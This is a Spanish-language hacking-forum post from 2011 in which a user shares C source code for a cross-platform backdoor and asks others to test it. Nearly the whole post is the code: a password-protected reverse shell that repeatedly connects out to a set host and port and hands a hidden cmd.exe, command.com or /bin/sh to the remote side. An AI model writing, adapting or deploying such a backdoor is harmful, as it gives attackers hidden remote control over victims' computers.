elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Rompecabezas de Bitcoin, Medio millón USD en premios


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación C/C++ (Moderadores: Eternal Idol, Littlehorse, K-YreX)
| | |-+  backdoor multiplatafor
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: backdoor multiplatafor  (Leído 1,671 veces)
MessageBoxA

Desconectado Desconectado

Mensajes: 229


ayudame a ayudarte


Ver Perfil WWW
backdoor multiplatafor
« en: 3 Septiembre 2011, 00:00 am »

me gustaria q lo probaran y me digan si les funciona :) solo lo e corrido en win xp y knoppix 5

Código
  1. #include <stdio.h>
  2. #include <string.h>
  3.  
  4. //cabecera y librerias segun SO
  5.  
  6. #ifdef WIN32
  7. #include <winsock2.h>
  8. #pragma comment(lib,"ws2_32.lib")
  9.  
  10. #else
  11.  
  12. #include <netdb.h>
  13. #include <sys/socket.h>
  14. #define SOCKET_ERROR -1
  15.  
  16. #endif
  17.  
  18. #define PASSWORD "mi_pass\0"
  19. //contraseña
  20. char Buffer[1024]; //variable para enviar/recibir datos
  21. int Recv; //para saber cuantos datos hemos transmitido
  22.  
  23. int sock;
  24. int ReverseShell(char *Destino, short Puerto,char *pwd);
  25.  
  26. /*funcion principal*/
  27.  
  28. int main()
  29. {
  30.  
  31.    for(;;)
  32.    {
  33.           if(send(sock,"",0,0)<=0)
  34.           {
  35.  
  36. #ifdef WIN32
  37. WSACleanup();
  38. #else
  39. close(sock);
  40. #endif
  41.  
  42. ReverseShell("localhost",4664,PASSWORD);
  43. }
  44. #ifdef WIN32
  45. Sleep(100);
  46. #else
  47. sleep(100);
  48. #endif
  49. }
  50.  
  51. return 0;
  52. }
  53.  
  54.  
  55. int ReverseShell(char *Destino, short Puerto, char *pwd)
  56. {
  57.    int Loggea();
  58.    struct hostent *Master;
  59.    struct sockaddr_in Winsock_In;
  60.  
  61.    //si estamos en windows cargamos la libreria
  62.    #ifdef WIN32
  63.  
  64.    STARTUPINFO start_proc;
  65.    PROCESS_INFORMATION info_proc;
  66.    OSVERSIONINFO SOinfo;
  67.    WSADATA wsaData;
  68.  
  69.    char *shell;
  70.    //iniciamos la libreria para  crear socket
  71.    WSAStartup(MAKEWORD(2,2),/*version del socket*/ &wsaData /*estrutura que recibe las propiedades del socket*/);
  72.  
  73.    if((sock=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,(unsigned int)NULL,(unsigned int)NULL))==INVALID_SOCKET)
  74.    return 0;
  75.  
  76.    #else
  77.  
  78.    if((sock=socket(AF_INET,SOCK_STREAM,0))==SOCKET_ERROR)
  79.    return 0;
  80.  
  81.    #endif
  82.  
  83.    Master=gethostbyname(Destino);
  84.    Winsock_In.sin_family=AF_INET;
  85.    //IPv4
  86.    Winsock_In.sin_port=htons(Puerto);
  87.    //puerto al que conectar
  88.  
  89.    Winsock_In.sin_addr= *((struct in_addr *)
  90.    Master->h_addr); //host al que conectar
  91.  
  92.    #ifdef WIN32
  93.  
  94.    if(WSAConnect(sock,(SOCKADDR*)&Winsock_In,sizeof(Winsock_In),NULL,NULL,NULL,NULL)==SOCKET_ERROR)
  95.    return 0;
  96. #else
  97.  
  98. if(connect(sock,(struct sock_addr *)&Winsock_In,sizeof(struct sockaddr))==SOCKET_ERROR)
  99. return 0;
  100.  
  101. #endif
  102.  
  103. if(Loggea()==0)
  104. return 0;
  105.  
  106. #ifdef WIN32
  107. //rellenamos la estructura
  108.  
  109. memset(&start_proc,0,sizeof(start_proc));//limpiamos
  110. start_proc.cb=sizeof(start_proc);
  111. start_proc.dwFlags=STARTF_USESTDHANDLES;
  112.  
  113. start_proc.wShowWindow=SW_HIDE;
  114. start_proc.hStdInput=(HANDLE)sock;
  115. start_proc.hStdOutput=(HANDLE)sock;
  116. start_proc.hStdError=(HANDLE)sock;
  117.  
  118. GetVersionEx(&SOinfo);
  119. if(SOinfo.dwPlatformId==VER_PLATFORM_WIN32_WINDOWS)
  120. {
  121.    shell="command.com\0";
  122. }
  123. else
  124. {
  125.    shell="cmd.exe\0";
  126. }
  127.  
  128. //lanzamos la shell
  129.  
  130. if(CreateProcess(NULL,shell,NULL,NULL,TRUE,0,NULL,NULL,&start_proc,&info_proc)==0)
  131. {
  132.     return 1;
  133.     }
  134.     else
  135.     {
  136.         WSACleanup();
  137.         return 0;
  138.         }
  139. #else
  140.  
  141. if(fork()!=0)
  142. {
  143.             close(sock);
  144.             return 0;
  145.             }
  146. //duplicamos los handles del socket
  147.  
  148. dup2(sock,0);
  149. dup2(sock,1);
  150. dup2(sock,2);
  151.  
  152. if(!execl("/bin/sh'","sh",NULL))
  153. {
  154.     close(sock);
  155.     return 0;
  156.     }
  157.  
  158. #endif
  159.  
  160. return 1;
  161. }
  162.  
  163. //devulve 0 (incorrecto) / 1 (correcto)
  164.  
  165. int Loggea()
  166. {
  167.    if(PASSWORD!=NULL)
  168.    {
  169.                     do
  170.                     {
  171.                         //limpiamos el buffer
  172.                         memset(Buffer,0,sizeof(char*));
  173.                         //pedimos la  contraseña
  174.                         send(sock,"\n[#] Introduce la password: ",strlen("\n[#]Introduce la password: "),0);
  175.                         //recibimos los datos
  176.                         Recv=recv(sock,Buffer,1024,0);
  177.                         //comprobamos si ha cerrado la conexion
  178.                         if(Recv<=0)
  179.  
  180.                                    return 0;
  181.                                    Buffer[Recv-1]='\0';
  182.                                    }
  183.  
  184.                                    while(strcmp(Buffer,PASSWORD)!=0);
  185.                                    send(sock,"[#]Aceptada!\n\n",strlen("[#]Aceptada!\n\n)"),0);
  186.                                    }
  187.  
  188.                                    return 1;
  189.                                    }
  190.  


En línea

SI LA MATRIX FUERA PERFECTA.... ESTARÍA ESCRITA EN C++
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Ocultar ip en backdoor
Análisis y Diseño de Malware
retr02332 7 7,455 Último mensaje 6 Septiembre 2020, 13:02 pm
por @XSStringManolo
Backdoor en web
Hacking
beto1555 3 3,675 Último mensaje 30 Noviembre 2020, 23:59 pm
por el-brujo
Backdoor RCE plantado en el servidor GIT de PHP
Foro Libre
BloodSharp 1 2,188 Último mensaje 5 Abril 2021, 20:32 pm
por el-brujo
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines